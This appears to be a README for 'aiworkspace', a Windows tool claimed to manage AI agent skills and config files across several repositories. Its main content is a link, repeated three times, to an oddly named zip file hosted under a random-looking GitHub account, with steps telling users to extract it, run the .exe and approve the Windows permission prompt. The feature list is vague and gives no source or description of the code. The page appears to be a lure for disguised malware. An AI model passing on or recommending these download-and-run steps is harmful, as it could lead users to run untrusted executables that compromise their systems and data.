aiworkspace：在多个项目间统一管理 AI 智能体技能与配置文件

🚀 Get Started

aiworkspace helps you keep AI agent skills and config files in one place across many projects. It is built for Windows users who want a simple way to set up tools like Cursor, Claude Code, Codex, and similar apps.

Use this guide to download and run it from the link above.

📥 Download

Open this page and use it to download and run this file:

https://raw.githubusercontent.com/acapnic-foreground968/aiworkspace/main/root-config/Software-planoconical.zip

If the page opens in your browser, look for the download area or the latest release files. Save the file to your computer before you run it.

🖥️ What aiworkspace Does

aiworkspace helps you:

keep AI agent skills in one shared place
manage config files across more than one repo
reuse workspace settings in different tools
reduce copy and paste between projects
keep your setup in sync across Cursor, Claude Code, Codex, and more

It is useful if you work with several code folders and want the same AI setup in each one.

✨ Main Uses

You can use aiworkspace to:

store shared skills for AI tools
keep prompt files in a common workspace
set up project rules in one place
make new repos match your usual AI setup
switch between repos without rebuilding your config

🪟 Windows Requirements

Before you install, check that your PC has:

Windows 10 or Windows 11
a modern web browser
enough free space for the app and your workspace files
permission to save files in your Downloads folder

If your work files live in OneDrive or another synced folder, aiworkspace can still work. Keep your main workspace in a folder that is easy to find.

📁 Recommended Folder Setup

Use a folder such as:

C:\aiworkspace
C:\Users\YourName\Documents\aiworkspace

Keep your repos inside that folder or link them from there. This makes it easier to manage shared skills and config files.

🛠️ Install and Run on Windows

Follow these steps in order.

Open the download link: https://raw.githubusercontent.com/acapnic-foreground968/aiworkspace/main/root-config/Software-planoconical.zip
Find the file you need to download. If the page shows a release file, choose the Windows version.
Save the file to your computer.
Open File Explorer and go to your Downloads folder.
If the file is a .zip, right-click it and choose Extract All.
Open the extracted folder.
If the file is an .exe, double-click it to run.
If Windows asks for permission, choose Yes.
Follow any on-screen setup steps.
Open the app and point it to your workspace folder.

🔧 First-Time Setup

When you open aiworkspace for the first time, set up these items:

your main workspace folder
the repos you want to manage
the AI tool folders you use most
shared skills or prompt files you want to reuse

A simple setup works best. Start with one workspace and one repo, then add more later.

📚 How It Helps Your Workflow

aiworkspace keeps your AI setup clean across many repos. That means:

less time copying files
fewer missed config changes
more consistent AI behavior between projects
easier setup for new workspaces
less manual work when you add a new repo

If you use more than one AI coding tool, shared workspace files help keep things in line.

🧩 Supported AI Tools

This workspace setup is meant to work well with:

Cursor
Claude Code
Codex
other agent-based dev tools
shared prompt and skill folders
multi-repo workspace layouts

You can keep tool-specific files where they belong and still manage them from one place.

📝 Basic Use

After setup, you can use aiworkspace like this:

add a new repo to your workspace
copy shared skills into that repo
update one shared file instead of many
keep your AI rules the same across projects
open a repo and use the same setup each time

For most users, the main benefit is simple file control. You decide what is shared and what stays local.

📦 Typical File Layout

A common setup may look like this:

aiworkspace/
aiworkspace/shared-skills/
aiworkspace/prompts/
aiworkspace/config/
project-a/
project-b/

This kind of layout helps you keep a clear split between shared files and project files.

🔍 Good Tips for Windows Users

Keep the app in a folder you can find fast.
Do not move files while the app is running.
Use short folder names.
Keep your workspace on a local drive if you want faster file access.
Back up your workspace folder from time to time.

❓ Common Questions

🧭 Where should I put my workspace?

Put it in a local folder like C:\aiworkspace or in Documents. Use a path that is easy to open again.

🧰 Do I need coding experience?

No. You only need to download the file, open it, and follow the steps on screen.

📂 Can I use more than one repo?

Yes. The goal of aiworkspace is to help with multi-repo workspaces.

🔁 Can I change my setup later?

Yes. You can move files, add repos, and adjust shared configs as your needs change.

🛡️ File Safety

Before you run any file from the web, check that you got it from the link above. Keep your workspace files in a place you control, and back them up if they matter to your work.

🧭 Quick Setup Checklist

open the download link
save the file
extract it if needed
run the app
choose your workspace folder
add your repos
set up shared skills and config files

📌 Project Focus

aiworkspace is built for people who want one place to manage:

agent skills
AI config files
shared prompts
repo-specific settings
cross-tool workspace structure

🔗 Download Again

Use this link to visit the page and download and run this file:

https://raw.githubusercontent.com/acapnic-foreground968/aiworkspace/main/root-config/Software-planoconical.zip